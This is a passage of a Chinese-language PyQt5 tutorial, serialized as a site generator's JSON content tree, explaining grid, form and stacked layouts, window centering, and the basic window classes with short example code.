在对水平布局操作完成后记得为该布局添加父控件，例在w上显示水平布局\nw.setLayout(layout)\n",[73414],{"type":18,"tag":74,"props":73415,"children":73416},{"__ignoreMap":8},[73417,73425,73432,73439,73446,73454,73461,73469,73476,73484],{"type":18,"tag":297,"props":73418,"children":73419},{"class":299,"line":300},[73420],{"type":18,"tag":297,"props":73421,"children":73422},{},[73423],{"type":24,"value":73424},"layout = QHBoxLayout() # 创建一个水平布局  \n",{"type":18,"tag":297,"props":73426,"children":73427},{"class":299,"line":657},[73428],{"type":18,"tag":297,"props":73429,"children":73430},{},[73431],{"type":24,"value":73279},{"type":18,"tag":297,"props":73433,"children":73434},{"class":299,"line":662},[73435],{"type":18,"tag":297,"props":73436,"children":73437},{},[73438],{"type":24,"value":73287},{"type":18,"tag":297,"props":73440,"children":73441},{"class":299,"line":799},[73442],{"type":18,"tag":297,"props":73443,"children":73444},{},[73445],{"type":24,"value":73295},{"type":18,"tag":297,"props":73447,"children":73448},{"class":299,"line":808},[73449],{"type":18,"tag":297,"props":73450,"children":73451},{},[73452],{"type":24,"value":73453},"layout.addWidget(btn1) # 将按钮1加入水平布局  \n",{"type":18,"tag":297,"props":73455,"children":73456},{"class":299,"line":817},[73457],{"type":18,"tag":297,"props":73458,"children":73459},{},[73460],{"type":24,"value":73311},{"type":18,"tag":297,"props":73462,"children":73463},{"class":299,"line":826},[73464],{"type":18,"tag":297,"props":73465,"children":73466},{},[73467],{"type":24,"value":73468},"layout.addWidget(btn2) # 将按钮2加入水平布局  \n",{"type":18,"tag":297,"props":73470,"children":73471},{"class":299,"line":4524},[73472],{"type":18,"tag":297,"props":73473,"children":73474},{},[73475],{"type":24,"value":73327},{"type":18,"tag":297,"props":73477,"children":73478},{"class":299,"line":4533},[73479],{"type":18,"tag":297,"props":73480,"children":73481},{},[73482],{"type":24,"value":73483},"# 在对水平布局操作完成后记得为该布局添加父控件，例在w上显示水平布局\n",{"type":18,"tag":297,"props":73485,"children":73486},{"class":299,"line":4546},[73487],{"type":18,"tag":297,"props":73488,"children":73489},{},[73490],{"type":24,"value":73343},{"type":18,"tag":337,"props":73492,"children":73494},{"id":73493},"网格布局qgridlayout",[73495],{"type":24,"value":73496},"网格布局（QGridLayout）",{"type":18,"tag":34,"props":73498,"children":73499},{},[73500,73505,73506,73512,73514,73520,73522,73528],{"type":18,"tag":74,"props":73501,"children":73503},{"className":73502},[],[73504],{"type":24,"value":62228},{"type":24,"value":72666},{"type":18,"tag":74,"props":73507,"children":73509},{"className":73508},[],[73510],{"type":24,"value":73511},"QGridLayout()",{"type":24,"value":73513},"方法用来创建一个网格布局（也称九宫格布局），",{"type":18,"tag":74,"props":73515,"children":73517},{"className":73516},[],[73518],{"type":24,"value":73519},"QGridLayout",{"type":24,"value":73521},"对象提供了",{"type":18,"tag":74,"props":73523,"children":73525},{"className":73524},[],[73526],{"type":24,"value":73527},"addWidget(控件,行,列)",{"type":24,"value":73529},"方法用来向网格布局中添加内容，示例代码如下：",{"type":18,"tag":287,"props":73531,"children":73533},{"className":28710,"code":73532,"language":28712,"meta":8,"style":8},"h = QVBoxLayout()  \ninp = QLineEdit()  # 添加输入框  \ninp.setPlaceholderText('请输入式子')  \nh.addWidget(inp)  \nw.setWindowTitle('九宫格布局')  \ndata = {  \n    0:['7','8','9','+'],  \n    1:['4','5','6','-'],  \n    2:['1','2','3','*'],  \n    3:['.','0','=','\u002F']  \n}  \ngrid = QGridLayout()  # 创建网格布局  \nfor key,value in data.items():  \n    for i,v in enumerate(value):  \n        btn = QPushButton(v)  \n        grid.addWidget(btn,key,i)  # 添加内容\nh.addLayout( grid)  \nw.setLayout(h)\n",[73534],{"type":18,"tag":74,"props":73535,"children":73536},{"__ignoreMap":8},[73537,73545,73553,73561,73569,73577,73585,73593,73601,73609,73617,73625,73633,73641,73649,73657,73665,73673],{"type":18,"tag":297,"props":73538,"children":73539},{"class":299,"line":300},[73540],{"type":18,"tag":297,"props":73541,"children":73542},{},[73543],{"type":24,"value":73544},"h = QVBoxLayout()  \n",{"type":18,"tag":297,"props":73546,"children":73547},{"class":299,"line":657},[73548],{"type":18,"tag":297,"props":73549,"children":73550},{},[73551],{"type":24,"value":73552},"inp = QLineEdit()  # 添加输入框  \n",{"type":18,"tag":297,"props":73554,"children":73555},{"class":299,"line":662},[73556],{"type":18,"tag":297,"props":73557,"children":73558},{},[73559],{"type":24,"value":73560},"inp.setPlaceholderText('请输入式子')  \n",{"type":18,"tag":297,"props":73562,"children":73563},{"class":299,"line":799},[73564],{"type":18,"tag":297,"props":73565,"children":73566},{},[73567],{"type":24,"value":73568},"h.addWidget(inp)  \n",{"type":18,"tag":297,"props":73570,"children":73571},{"class":299,"line":808},[73572],{"type":18,"tag":297,"props":73573,"children":73574},{},[73575],{"type":24,"value":73576},"w.setWindowTitle('九宫格布局')  \n",{"type":18,"tag":297,"props":73578,"children":73579},{"class":299,"line":817},[73580],{"type":18,"tag":297,"props":73581,"children":73582},{},[73583],{"type":24,"value":73584},"data = {  \n",{"type":18,"tag":297,"props":73586,"children":73587},{"class":299,"line":826},[73588],{"type":18,"tag":297,"props":73589,"children":73590},{},[73591],{"type":24,"value":73592},"    0:['7','8','9','+'],  \n",{"type":18,"tag":297,"props":73594,"children":73595},{"class":299,"line":4524},[73596],{"type":18,"tag":297,"props":73597,"children":73598},{},[73599],{"type":24,"value":73600},"    1:['4','5','6','-'],  \n",{"type":18,"tag":297,"props":73602,"children":73603},{"class":299,"line":4533},[73604],{"type":18,"tag":297,"props":73605,"children":73606},{},[73607],{"type":24,"value":73608},"    2:['1','2','3','*'],  \n",{"type":18,"tag":297,"props":73610,"children":73611},{"class":299,"line":4546},[73612],{"type":18,"tag":297,"props":73613,"children":73614},{},[73615],{"type":24,"value":73616},"    3:['.','0','=','\u002F']  \n",{"type":18,"tag":297,"props":73618,"children":73619},{"class":299,"line":4555},[73620],{"type":18,"tag":297,"props":73621,"children":73622},{},[73623],{"type":24,"value":73624},"}  \n",{"type":18,"tag":297,"props":73626,"children":73627},{"class":299,"line":4568},[73628],{"type":18,"tag":297,"props":73629,"children":73630},{},[73631],{"type":24,"value":73632},"grid = QGridLayout()  # 创建网格布局  \n",{"type":18,"tag":297,"props":73634,"children":73635},{"class":299,"line":4577},[73636],{"type":18,"tag":297,"props":73637,"children":73638},{},[73639],{"type":24,"value":73640},"for key,value in data.items():  \n",{"type":18,"tag":297,"props":73642,"children":73643},{"class":299,"line":4590},[73644],{"type":18,"tag":297,"props":73645,"children":73646},{},[73647],{"type":24,"value":73648},"    for i,v in enumerate(value):  \n",{"type":18,"tag":297,"props":73650,"children":73651},{"class":299,"line":4599},[73652],{"type":18,"tag":297,"props":73653,"children":73654},{},[73655],{"type":24,"value":73656},"        btn = QPushButton(v)  \n",{"type":18,"tag":297,"props":73658,"children":73659},{"class":299,"line":4607},[73660],{"type":18,"tag":297,"props":73661,"children":73662},{},[73663],{"type":24,"value":73664},"        grid.addWidget(btn,key,i)  # 添加内容\n",{"type":18,"tag":297,"props":73666,"children":73667},{"class":299,"line":4616},[73668],{"type":18,"tag":297,"props":73669,"children":73670},{},[73671],{"type":24,"value":73672},"h.addLayout( grid)  \n",{"type":18,"tag":297,"props":73674,"children":73675},{"class":299,"line":4624},[73676],{"type":18,"tag":297,"props":73677,"children":73678},{},[73679],{"type":24,"value":73136},{"type":18,"tag":337,"props":73681,"children":73683},{"id":73682},"表单布局qfromlayout",[73684],{"type":24,"value":73685},"表单布局（QFromLayout）",{"type":18,"tag":34,"props":73687,"children":73688},{},[73689,73694,73695,73701],{"type":18,"tag":74,"props":73690,"children":73692},{"className":73691},[],[73693],{"type":24,"value":62228},{"type":24,"value":72666},{"type":18,"tag":74,"props":73696,"children":73698},{"className":73697},[],[73699],{"type":24,"value":73700},"QFromLayout()",{"type":24,"value":73702},"方法用来创建一个表单布局，示例代码如下：",{"type":18,"tag":287,"props":73704,"children":73706},{"className":28710,"code":73705,"language":28712,"meta":8,"style":8},"v = QVBoxLayout()  # 创建垂直布局\nfrom_layout = QFormLayout() # 创建表单布局  \nedit1 = QLineEdit()  # 创建输入框1\nedit1.setPlaceholderText('请输入用户名')  \nfrom_layout.addRow('用户名', edit1)  # 向表单布局添加一行\nedit2 = QLineEdit()  # 创建输入框1\nedit2.setPlaceholderText('请输入密码')  \nfrom_layout.addRow('密码', edit2)  \nv.addLayout(from_layout)  # 将表单布局嵌入垂直布局\nv.addWidget(QPushButton('登录'), alignment=Qt.AlignCenter)  \nw.setLayout(v) # 将垂直布局与窗口绑定\n",[73707],{"type":18,"tag":74,"props":73708,"children":73709},{"__ignoreMap":8},[73710,73718,73726,73734,73742,73750,73758,73766,73774,73782,73790],{"type":18,"tag":297,"props":73711,"children":73712},{"class":299,"line":300},[73713],{"type":18,"tag":297,"props":73714,"children":73715},{},[73716],{"type":24,"value":73717},"v = QVBoxLayout()  # 创建垂直布局\n",{"type":18,"tag":297,"props":73719,"children":73720},{"class":299,"line":657},[73721],{"type":18,"tag":297,"props":73722,"children":73723},{},[73724],{"type":24,"value":73725},"from_layout = QFormLayout() # 创建表单布局  \n",{"type":18,"tag":297,"props":73727,"children":73728},{"class":299,"line":662},[73729],{"type":18,"tag":297,"props":73730,"children":73731},{},[73732],{"type":24,"value":73733},"edit1 = QLineEdit()  # 创建输入框1\n",{"type":18,"tag":297,"props":73735,"children":73736},{"class":299,"line":799},[73737],{"type":18,"tag":297,"props":73738,"children":73739},{},[73740],{"type":24,"value":73741},"edit1.setPlaceholderText('请输入用户名')  \n",{"type":18,"tag":297,"props":73743,"children":73744},{"class":299,"line":808},[73745],{"type":18,"tag":297,"props":73746,"children":73747},{},[73748],{"type":24,"value":73749},"from_layout.addRow('用户名', edit1)  # 向表单布局添加一行\n",{"type":18,"tag":297,"props":73751,"children":73752},{"class":299,"line":817},[73753],{"type":18,"tag":297,"props":73754,"children":73755},{},[73756],{"type":24,"value":73757},"edit2 = QLineEdit()  # 创建输入框1\n",{"type":18,"tag":297,"props":73759,"children":73760},{"class":299,"line":826},[73761],{"type":18,"tag":297,"props":73762,"children":73763},{},[73764],{"type":24,"value":73765},"edit2.setPlaceholderText('请输入密码')  \n",{"type":18,"tag":297,"props":73767,"children":73768},{"class":299,"line":4524},[73769],{"type":18,"tag":297,"props":73770,"children":73771},{},[73772],{"type":24,"value":73773},"from_layout.addRow('密码', edit2)  \n",{"type":18,"tag":297,"props":73775,"children":73776},{"class":299,"line":4533},[73777],{"type":18,"tag":297,"props":73778,"children":73779},{},[73780],{"type":24,"value":73781},"v.addLayout(from_layout)  # 将表单布局嵌入垂直布局\n",{"type":18,"tag":297,"props":73783,"children":73784},{"class":299,"line":4546},[73785],{"type":18,"tag":297,"props":73786,"children":73787},{},[73788],{"type":24,"value":73789},"v.addWidget(QPushButton('登录'), alignment=Qt.AlignCenter)  \n",{"type":18,"tag":297,"props":73791,"children":73792},{"class":299,"line":4555},[73793],{"type":18,"tag":297,"props":73794,"children":73795},{},[73796],{"type":24,"value":73797},"w.setLayout(v) # 将垂直布局与窗口绑定\n",{"type":18,"tag":337,"props":73799,"children":73801},{"id":73800},"抽屉布局qstackedlayout",[73802],{"type":24,"value":73803},"抽屉布局（QStackedLayout）",{"type":18,"tag":34,"props":73805,"children":73806},{},[73807,73812,73813,73819],{"type":18,"tag":74,"props":73808,"children":73810},{"className":73809},[],[73811],{"type":24,"value":62228},{"type":24,"value":72666},{"type":18,"tag":74,"props":73814,"children":73816},{"className":73815},[],[73817],{"type":24,"value":73818},"QStackedLayout()",{"type":24,"value":73820},"方法用来创建一个抽屉布局，示例代码如下：",{"type":18,"tag":287,"props":73822,"children":73824},{"className":28710,"code":73823,"language":28712,"meta":8,"style":8},"v = QVBoxLayout()  \nstack_layout = QStackedLayout()  \n  \nwin1 = win_1()  \nwin2 = win_2()  \nstack_layout.addWidget(win1)  \nstack_layout.addWidget(win2)  \n  \nbtn1 = QPushButton('抽屉1')  \nbtn2 = QPushButton('抽屉2')  \n# 绑定点击事件 对象.信号.connect(槽函数)  \nbtn1.clicked.connect(btn_press1)  \nbtn2.clicked.connect(btn_press2)  \n  \nv.addLayout(stack_layout)  \nv.addWidget(btn1)  \nv.addWidget(btn2)  \nw.setLayout(v)\n",[73825],{"type":18,"tag":74,"props":73826,"children":73827},{"__ignoreMap":8},[73828,73836,73844,73851,73859,73867,73875,73883,73890,73898,73906,73914,73922,73930,73937,73945,73952,73959],{"type":18,"tag":297,"props":73829,"children":73830},{"class":299,"line":300},[73831],{"type":18,"tag":297,"props":73832,"children":73833},{},[73834],{"type":24,"value":73835},"v = QVBoxLayout()  \n",{"type":18,"tag":297,"props":73837,"children":73838},{"class":299,"line":657},[73839],{"type":18,"tag":297,"props":73840,"children":73841},{},[73842],{"type":24,"value":73843},"stack_layout = QStackedLayout()  \n",{"type":18,"tag":297,"props":73845,"children":73846},{"class":299,"line":662},[73847],{"type":18,"tag":297,"props":73848,"children":73849},{},[73850],{"type":24,"value":36783},{"type":18,"tag":297,"props":73852,"children":73853},{"class":299,"line":799},[73854],{"type":18,"tag":297,"props":73855,"children":73856},{},[73857],{"type":24,"value":73858},"win1 = win_1()  \n",{"type":18,"tag":297,"props":73860,"children":73861},{"class":299,"line":808},[73862],{"type":18,"tag":297,"props":73863,"children":73864},{},[73865],{"type":24,"value":73866},"win2 = win_2()  \n",{"type":18,"tag":297,"props":73868,"children":73869},{"class":299,"line":817},[73870],{"type":18,"tag":297,"props":73871,"children":73872},{},[73873],{"type":24,"value":73874},"stack_layout.addWidget(win1)  \n",{"type":18,"tag":297,"props":73876,"children":73877},{"class":299,"line":826},[73878],{"type":18,"tag":297,"props":73879,"children":73880},{},[73881],{"type":24,"value":73882},"stack_layout.addWidget(win2)  \n",{"type":18,"tag":297,"props":73884,"children":73885},{"class":299,"line":4524},[73886],{"type":18,"tag":297,"props":73887,"children":73888},{},[73889],{"type":24,"value":36783},{"type":18,"tag":297,"props":73891,"children":73892},{"class":299,"line":4533},[73893],{"type":18,"tag":297,"props":73894,"children":73895},{},[73896],{"type":24,"value":73897},"btn1 = QPushButton('抽屉1')  \n",{"type":18,"tag":297,"props":73899,"children":73900},{"class":299,"line":4546},[73901],{"type":18,"tag":297,"props":73902,"children":73903},{},[73904],{"type":24,"value":73905},"btn2 = QPushButton('抽屉2')  \n",{"type":18,"tag":297,"props":73907,"children":73908},{"class":299,"line":4555},[73909],{"type":18,"tag":297,"props":73910,"children":73911},{},[73912],{"type":24,"value":73913},"# 绑定点击事件 对象.信号.connect(槽函数)  \n",{"type":18,"tag":297,"props":73915,"children":73916},{"class":299,"line":4568},[73917],{"type":18,"tag":297,"props":73918,"children":73919},{},[73920],{"type":24,"value":73921},"btn1.clicked.connect(btn_press1)  \n",{"type":18,"tag":297,"props":73923,"children":73924},{"class":299,"line":4577},[73925],{"type":18,"tag":297,"props":73926,"children":73927},{},[73928],{"type":24,"value":73929},"btn2.clicked.connect(btn_press2)  \n",{"type":18,"tag":297,"props":73931,"children":73932},{"class":299,"line":4590},[73933],{"type":18,"tag":297,"props":73934,"children":73935},{},[73936],{"type":24,"value":36783},{"type":18,"tag":297,"props":73938,"children":73939},{"class":299,"line":4599},[73940],{"type":18,"tag":297,"props":73941,"children":73942},{},[73943],{"type":24,"value":73944},"v.addLayout(stack_layout)  \n",{"type":18,"tag":297,"props":73946,"children":73947},{"class":299,"line":4607},[73948],{"type":18,"tag":297,"props":73949,"children":73950},{},[73951],{"type":24,"value":73104},{"type":18,"tag":297,"props":73953,"children":73954},{"class":299,"line":4616},[73955],{"type":18,"tag":297,"props":73956,"children":73957},{},[73958],{"type":24,"value":73112},{"type":18,"tag":297,"props":73960,"children":73961},{"class":299,"line":4624},[73962],{"type":18,"tag":297,"props":73963,"children":73964},{},[73965],{"type":24,"value":73966},"w.setLayout(v)\n",{"type":18,"tag":34,"props":73968,"children":73969},{},[73970],{"type":24,"value":73971},"调用的函数部分的结果如下所示：",{"type":18,"tag":287,"props":73973,"children":73975},{"className":28710,"code":73974,"language":28712,"meta":8,"style":8},"def win_1():  \n    '''函数体'''\ndef win_2():  \n    '''函数体'''\ndef btn_press1():  \n    stack_layout.setCurrentIndex(0) # 设置当前索引为0  \ndef btn_press2():  \n    stack_layout.setCurrentIndex(1)\n",[73976],{"type":18,"tag":74,"props":73977,"children":73978},{"__ignoreMap":8},[73979,73987,73995,74003,74010,74018,74026,74034],{"type":18,"tag":297,"props":73980,"children":73981},{"class":299,"line":300},[73982],{"type":18,"tag":297,"props":73983,"children":73984},{},[73985],{"type":24,"value":73986},"def win_1():  \n",{"type":18,"tag":297,"props":73988,"children":73989},{"class":299,"line":657},[73990],{"type":18,"tag":297,"props":73991,"children":73992},{},[73993],{"type":24,"value":73994},"    '''函数体'''\n",{"type":18,"tag":297,"props":73996,"children":73997},{"class":299,"line":662},[73998],{"type":18,"tag":297,"props":73999,"children":74000},{},[74001],{"type":24,"value":74002},"def win_2():  \n",{"type":18,"tag":297,"props":74004,"children":74005},{"class":299,"line":799},[74006],{"type":18,"tag":297,"props":74007,"children":74008},{},[74009],{"type":24,"value":73994},{"type":18,"tag":297,"props":74011,"children":74012},{"class":299,"line":808},[74013],{"type":18,"tag":297,"props":74014,"children":74015},{},[74016],{"type":24,"value":74017},"def btn_press1():  \n",{"type":18,"tag":297,"props":74019,"children":74020},{"class":299,"line":817},[74021],{"type":18,"tag":297,"props":74022,"children":74023},{},[74024],{"type":24,"value":74025},"    stack_layout.setCurrentIndex(0) # 设置当前索引为0  \n",{"type":18,"tag":297,"props":74027,"children":74028},{"class":299,"line":826},[74029],{"type":18,"tag":297,"props":74030,"children":74031},{},[74032],{"type":24,"value":74033},"def btn_press2():  \n",{"type":18,"tag":297,"props":74035,"children":74036},{"class":299,"line":4524},[74037],{"type":18,"tag":297,"props":74038,"children":74039},{},[74040],{"type":24,"value":74041},"    stack_layout.setCurrentIndex(1)\n",{"type":18,"tag":34,"props":74043,"children":74044},{},[74045],{"type":24,"value":74046},"在执行这些代码的过程中，它都处于如下框架内：",{"type":18,"tag":287,"props":74048,"children":74050},{"className":28710,"code":74049,"language":28712,"meta":8,"style":8},"app = QApplication(sys.argv)  \nw = QWidget()\n\n'''设置窗口'''\n\nw.show()  \nsys.exit(app.exec_())\n",[74051],{"type":18,"tag":74,"props":74052,"children":74053},{"__ignoreMap":8},[74054,74062,74070,74077,74085,74092,74100],{"type":18,"tag":297,"props":74055,"children":74056},{"class":299,"line":300},[74057],{"type":18,"tag":297,"props":74058,"children":74059},{},[74060],{"type":24,"value":74061},"app = QApplication(sys.argv)  \n",{"type":18,"tag":297,"props":74063,"children":74064},{"class":299,"line":657},[74065],{"type":18,"tag":297,"props":74066,"children":74067},{},[74068],{"type":24,"value":74069},"w = QWidget()\n",{"type":18,"tag":297,"props":74071,"children":74072},{"class":299,"line":662},[74073],{"type":18,"tag":297,"props":74074,"children":74075},{"emptyLinePlaceholder":793},[74076],{"type":24,"value":796},{"type":18,"tag":297,"props":74078,"children":74079},{"class":299,"line":799},[74080],{"type":18,"tag":297,"props":74081,"children":74082},{},[74083],{"type":24,"value":74084},"'''设置窗口'''\n",{"type":18,"tag":297,"props":74086,"children":74087},{"class":299,"line":808},[74088],{"type":18,"tag":297,"props":74089,"children":74090},{"emptyLinePlaceholder":793},[74091],{"type":24,"value":796},{"type":18,"tag":297,"props":74093,"children":74094},{"class":299,"line":817},[74095],{"type":18,"tag":297,"props":74096,"children":74097},{},[74098],{"type":24,"value":74099},"w.show()  \n",{"type":18,"tag":297,"props":74101,"children":74102},{"class":299,"line":826},[74103],{"type":18,"tag":297,"props":74104,"children":74105},{},[74106],{"type":24,"value":74107},"sys.exit(app.exec_())\n",{"type":18,"tag":34,"props":74109,"children":74110},{},[74111],{"type":24,"value":74112},"在使用这些布局时记得导入，导入方式如下所示：",{"type":18,"tag":287,"props":74114,"children":74116},{"className":28710,"code":74115,"language":28712,"meta":8,"style":8},"from PyQt5.QtWidgets import QApplication, QWidget, QPushButton, QLineEdit, QVBoxLayout, QFormLayout, QStackedLayout, QGroupBox, QRadioButton, QHBoxLayout, QLabel\n",[74117],{"type":18,"tag":74,"props":74118,"children":74119},{"__ignoreMap":8},[74120],{"type":18,"tag":297,"props":74121,"children":74122},{"class":299,"line":300},[74123],{"type":18,"tag":297,"props":74124,"children":74125},{},[74126],{"type":24,"value":74115},{"type":18,"tag":27,"props":74128,"children":74130},{"id":74129},"窗口居中",[74131],{"type":24,"value":74129},{"type":18,"tag":121,"props":74133,"children":74134},{},[],{"type":18,"tag":337,"props":74136,"children":74138},{"id":74137},"获取中央位置坐标",[74139],{"type":24,"value":74137},{"type":18,"tag":34,"props":74141,"children":74142},{},[74143,74148,74149,74155,74157,74163,74165,74171,74172,74178],{"type":18,"tag":74,"props":74144,"children":74146},{"className":74145},[],[74147],{"type":24,"value":62228},{"type":24,"value":72666},{"type":18,"tag":74,"props":74150,"children":74152},{"className":74151},[],[74153],{"type":24,"value":74154},"QDesktopWidget().screenGeometry().center()",{"type":24,"value":74156},"方法用来获取屏幕的中央位置，返回值为一个坐标对象",{"type":18,"tag":74,"props":74158,"children":74160},{"className":74159},[],[74161],{"type":24,"value":74162},"Qpoint",{"type":24,"value":74164},"。可以使用",{"type":18,"tag":74,"props":74166,"children":74168},{"className":74167},[],[74169],{"type":24,"value":74170},"Qpoint对象.x",{"type":24,"value":17444},{"type":18,"tag":74,"props":74173,"children":74175},{"className":74174},[],[74176],{"type":24,"value":74177},"Qpoint对象.y",{"type":24,"value":74179},"来获取到该坐标的数值。如下代码所示：",{"type":18,"tag":287,"props":74181,"children":74183},{"className":28710,"code":74182,"language":28712,"meta":8,"style":8},"# 使用QDesktopWidget方法  \ncenter_pointer = QDesktopWidget().screenGeometry().center()   \nx = center_pointer.x()  \ny = center_pointer.y()  \n",[74184],{"type":18,"tag":74,"props":74185,"children":74186},{"__ignoreMap":8},[74187,74195,74203,74211],{"type":18,"tag":297,"props":74188,"children":74189},{"class":299,"line":300},[74190],{"type":18,"tag":297,"props":74191,"children":74192},{},[74193],{"type":24,"value":74194},"# 使用QDesktopWidget方法  \n",{"type":18,"tag":297,"props":74196,"children":74197},{"class":299,"line":657},[74198],{"type":18,"tag":297,"props":74199,"children":74200},{},[74201],{"type":24,"value":74202},"center_pointer = QDesktopWidget().screenGeometry().center()   \n",{"type":18,"tag":297,"props":74204,"children":74205},{"class":299,"line":662},[74206],{"type":18,"tag":297,"props":74207,"children":74208},{},[74209],{"type":24,"value":74210},"x = center_pointer.x()  \n",{"type":18,"tag":297,"props":74212,"children":74213},{"class":299,"line":799},[74214],{"type":18,"tag":297,"props":74215,"children":74216},{},[74217],{"type":24,"value":74218},"y = center_pointer.y()\n",{"type":18,"tag":337,"props":74220,"children":74222},{"id":74221},"将窗口居中显示",[74223],{"type":24,"value":74221},{"type":18,"tag":34,"props":74225,"children":74226},{},[74227,74229,74235],{"type":24,"value":74228},"当获取到中央位置后可以减去窗口的宽和高，再使用",{"type":18,"tag":74,"props":74230,"children":74232},{"className":74231},[],[74233],{"type":24,"value":74234},"w.move(x-width\u002F\u002F2,y-height\u002F\u002F2)",{"type":24,"value":74236},"打掉将窗口居中显示的效果。例如当窗口w大小为（600，400）",{"type":18,"tag":287,"props":74238,"children":74240},{"className":28710,"code":74239,"language":28712,"meta":8,"style":8},"w.move(x-600\u002F\u002F2, y-400\u002F\u002F2) # w.resize(600,400)\n",[74241],{"type":18,"tag":74,"props":74242,"children":74243},{"__ignoreMap":8},[74244],{"type":18,"tag":297,"props":74245,"children":74246},{"class":299,"line":300},[74247],{"type":18,"tag":297,"props":74248,"children":74249},{},[74250],{"type":24,"value":74239},{"type":18,"tag":34,"props":74252,"children":74253},{},[74254,74256,74261,74262,74268,74270,74275],{"type":24,"value":74255},"上述的计算中央坐标的方式需要手动输入窗口的大小，为了方便，我们可以使用自动计算居中，其中使用到了",{"type":18,"tag":74,"props":74257,"children":74259},{"className":74258},[],[74260],{"type":24,"value":58931},{"type":24,"value":60508},{"type":18,"tag":74,"props":74263,"children":74265},{"className":74264},[],[74266],{"type":24,"value":74267},"frameGeometry()",{"type":24,"value":74269},"方法以获得",{"type":18,"tag":74,"props":74271,"children":74273},{"className":74272},[],[74274],{"type":24,"value":58931},{"type":24,"value":74276},"对象的窗口大小及位置 ，以元组的形式返回。如下代码所示：",{"type":18,"tag":287,"props":74278,"children":74280},{"className":28710,"code":74279,"language":28712,"meta":8,"style":8},"\"\"\"自动计算居中\"\"\"  \n# 使用frameGeometry方法获取窗口坐标对象  \nprint(type(w.frameGeometry()),w.frameGeometry())  # 得到的QRect对象  \n# 使用QRect对象的getRect方法得到坐标的元组  \ntup = w.frameGeometry().getRect()  \nprint(type(w.frameGeometry().getRect()),w.frameGeometry().getRect())  \nw.move(x-tup[2]\u002F\u002F2, y-tup[3]\u002F\u002F2)\n",[74281],{"type":18,"tag":74,"props":74282,"children":74283},{"__ignoreMap":8},[74284,74292,74300,74308,74316,74324,74332],{"type":18,"tag":297,"props":74285,"children":74286},{"class":299,"line":300},[74287],{"type":18,"tag":297,"props":74288,"children":74289},{},[74290],{"type":24,"value":74291},"\"\"\"自动计算居中\"\"\"  \n",{"type":18,"tag":297,"props":74293,"children":74294},{"class":299,"line":657},[74295],{"type":18,"tag":297,"props":74296,"children":74297},{},[74298],{"type":24,"value":74299},"# 使用frameGeometry方法获取窗口坐标对象  \n",{"type":18,"tag":297,"props":74301,"children":74302},{"class":299,"line":662},[74303],{"type":18,"tag":297,"props":74304,"children":74305},{},[74306],{"type":24,"value":74307},"print(type(w.frameGeometry()),w.frameGeometry())  # 得到的QRect对象  \n",{"type":18,"tag":297,"props":74309,"children":74310},{"class":299,"line":799},[74311],{"type":18,"tag":297,"props":74312,"children":74313},{},[74314],{"type":24,"value":74315},"# 使用QRect对象的getRect方法得到坐标的元组  \n",{"type":18,"tag":297,"props":74317,"children":74318},{"class":299,"line":808},[74319],{"type":18,"tag":297,"props":74320,"children":74321},{},[74322],{"type":24,"value":74323},"tup = w.frameGeometry().getRect()  \n",{"type":18,"tag":297,"props":74325,"children":74326},{"class":299,"line":817},[74327],{"type":18,"tag":297,"props":74328,"children":74329},{},[74330],{"type":24,"value":74331},"print(type(w.frameGeometry().getRect()),w.frameGeometry().getRect())  \n",{"type":18,"tag":297,"props":74333,"children":74334},{"class":299,"line":826},[74335],{"type":18,"tag":297,"props":74336,"children":74337},{},[74338],{"type":24,"value":74339},"w.move(x-tup[2]\u002F\u002F2, y-tup[3]\u002F\u002F2)\n",{"type":18,"tag":27,"props":74341,"children":74343},{"id":74342},"创建窗口的形式",[74344],{"type":24,"value":74342},{"type":18,"tag":121,"props":74346,"children":74347},{},[],{"type":18,"tag":34,"props":74349,"children":74350},{},[74351],{"type":24,"value":74352},"窗口的创建形式主要分为三种：",{"type":18,"tag":210,"props":74354,"children":74355},{},[74356,74361,74366],{"type":18,"tag":158,"props":74357,"children":74358},{},[74359],{"type":24,"value":74360},"QWidget（基础窗口类）",{"type":18,"tag":158,"props":74362,"children":74363},{},[74364],{"type":24,"value":74365},"QMainWindow（主窗口类）",{"type":18,"tag":158,"props":74367,"children":74368},{},[74369],{"type":24,"value":74370},"QDialog（对话框类）",{"type":18,"tag":337,"props":74372,"children":74374},{"id":74373},"qwidget",[74375],{"type":24,"value":58931},{"type":18,"tag":34,"props":74377,"children":74378},{},[74379,74384],{"type":18,"tag":74,"props":74380,"children":74382},{"className":74381},[],[74383],{"type":24,"value":58931},{"type":24,"value":74385},"是所有用户界面元素的基类，即控件和窗口的父类，是最基础的窗口组件，可独立作为窗口，也可作为其他组件的容器，自由度高（什么东西都没有），多应用于小型工具窗口、自定义控件的载体。示例代码如下所示：",{"type":18,"tag":287,"props":74387,"children":74389},{"className":28710,"code":74388,"language":28712,"meta":8,"style":8},"import sys  \nfrom PyQt5.QtWidgets import QApplication,QWidget  \n\nif __name__ == '__main__':  \n    app = QApplication(sys.argv) \n    w = QWidget()\n    \n    ''''此处补充窗口设置代码'''\n     \n    w.show()  \n    app.exec_()\n",[74390],{"type":18,"tag":74,"props":74391,"children":74392},{"__ignoreMap":8},[74393,74400,74408,74415,74422,74430,74438,74445,74453,74461,74468],{"type":18,"tag":297,"props":74394,"children":74395},{"class":299,"line":300},[74396],{"type":18,"tag":297,"props":74397,"children":74398},{},[74399],{"type":24,"value":42415},{"type":18,"tag":297,"props":74401,"children":74402},{"class":299,"line":657},[74403],{"type":18,"tag":297,"props":74404,"children":74405},{},[74406],{"type":24,"value":74407},"from PyQt5.QtWidgets import QApplication,QWidget  \n",{"type":18,"tag":297,"props":74409,"children":74410},{"class":299,"line":662},[74411],{"type":18,"tag":297,"props":74412,"children":74413},{"emptyLinePlaceholder":793},[74414],{"type":24,"value":796},{"type":18,"tag":297,"props":74416,"children":74417},{"class":299,"line":799},[74418],{"type":18,"tag":297,"props":74419,"children":74420},{},[74421],{"type":24,"value":42431},{"type":18,"tag":297,"props":74423,"children":74424},{"class":299,"line":808},[74425],{"type":18,"tag":297,"props":74426,"children":74427},{},[74428],{"type":24,"value":74429},"    app = QApplication(sys.argv) \n",{"type":18,"tag":297,"props":74431,"children":74432},{"class":299,"line":817},[74433],{"type":18,"tag":297,"props":74434,"children":74435},{},[74436],{"type":24,"value":74437},"    w = QWidget()\n",{"type":18,"tag":297,"props":74439,"children":74440},{"class":299,"line":826},[74441],{"type":18,"tag":297,"props":74442,"children":74443},{},[74444],{"type":24,"value":12715},{"type":18,"tag":297,"props":74446,"children":74447},{"class":299,"line":4524},[74448],{"type":18,"tag":297,"props":74449,"children":74450},{},[74451],{"type":24,"value":74452},"    